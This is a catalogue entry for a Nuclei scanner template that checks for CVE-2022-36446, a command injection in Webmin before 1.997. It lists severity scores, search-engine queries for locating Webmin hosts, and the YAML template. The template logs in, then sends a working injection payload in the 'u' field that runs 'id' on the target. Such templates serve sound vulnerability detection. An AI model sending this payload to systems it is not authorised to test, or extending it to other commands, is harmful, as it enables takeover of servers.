CVE-2022-36446: Webmin <1.997 - Authenticated Remote Code Execution
- Template: CVE-2022-36446
- Name: Webmin <1.997 - Authenticated Remote Code Execution
- Description: Webmin before 1.997 is susceptible to authenticated remote code execution via software/apt-lib.pl, which lacks HTML escaping for a UI command. An attacker can perform command injection attacks and thereby execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
- Impact: Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary code on the target system.
- Remediation: Upgrade Webmin to version 1.997 or later to mitigate this vulnerability.
- Severity: critical
- Authors: gy741
- Tags: cve, cve2022, packetstorm, webmin, rce, authenticated, edb, vuln
- References: https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165, https://www.exploit-db.com/exploits/50998, https://github.com/webmin/webmin/compare/1.996...1.997, https://nvd.nist.gov/vuln/detail/CVE-2022-36446, http://packetstormsecurity.com/files/167894/Webmin-1.996-Remote-Code-Execution.html
- Cves: CVE-2022-36446
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-36446.yaml
- Digest: 4a0a00473045022024bde21937c110af376ab95c19cf0becd899d5d0b141ff99c971836d1913cd2c022100a22cc5950cf484a5ca9a4213e07ebc5431df73bda126aef60029be90eebd01ec
- Created at: 2023-02-10T11:23:05Z
- Updated at: 2026-11-22T02:03:55Z
- Age in days: 1383
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-36446.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-116
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.95947
- Epss percentile: 0.99876
- Cpe: cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: title="webmin"
- Google-query: intitle:"webmin"
- Max-request: 2
- Product: webmin
- Shodan-query: title:"Webmin", http.title:"webmin"
- Vendor: webmin
Products
| Product | Indexed | Url |
|---|---|---|
| webmin:webmin | yes | /v1/products/webmin/webmin |
Labels
- Name: Webmin - Command Injection
- Impact: Authenticated attackers can execute arbitrary commands, potentially leading to full system compromise and data theft.
- Remediation: Update to Webmin version 1.997 or later.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: logged_in
- Requirements: Attacker needs to be authenticated
- Labels source: projectdiscovery
- From cve: CVE-2022-36446
```yaml
id: CVE-2022-36446
info:
name: Webmin <1.997 - Authenticated Remote Code Execution
author: gy741
severity: critical
description: |
Webmin before 1.997 is susceptible to authenticated remote code execution via software/apt-lib.pl, which lacks HTML escaping for a UI command. An attacker can perform command injection attacks and thereby execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
impact: |
Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary code on the target system.
remediation: |
Upgrade Webmin to version 1.997 or later to mitigate this vulnerability.
reference:
- https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165
- https://www.exploit-db.com/exploits/50998
- https://github.com/webmin/webmin/compare/1.996...1.997
- https://nvd.nist.gov/vuln/detail/CVE-2022-36446
- http://packetstormsecurity.com/files/167894/Webmin-1.996-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-36446
cwe-id: CWE-116
epss-score: 0.95947
epss-percentile: 0.99876
cpe: cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: webmin
product: webmin
shodan-query:
- title:"Webmin"
- http.title:"webmin"
fofa-query: title="webmin"
google-query: intitle:"webmin"
tags: cve,cve2022,packetstorm,webmin,rce,authenticated,edb,vuln
http:
- raw:
- |
POST /session_login.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user={{username}}&pass={{password}}
- |
POST /package-updates/update.cgi HTTP/1.1
Host: {{Hostname}}
Referer: {{BaseURL}}/package-updates/update.cgi?xnavigation=1
mode=new&search=ssh&redir=&redirdesc=&u=0%3Becho+%27{{randstr}}%27%27{{randstr}}%27%3B+id%3B+echo+%27{{randstr}}%27%27{{randstr}}%27&confirm=Install%2BNow
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{randstr}}'
- 'uid'
- 'gid'
- 'groups'
condition: and
- type: status
status:
- 200
digest: 4a0a00473045022024bde21937c110af376ab95c19cf0becd899d5d0b141ff99c971836d1913cd2c022100a22cc5950cf484a5ca9a4213e07ebc5431df73bda126aef60029be90eebd01ec:922c64590222798bb761d5b6d8e72950
```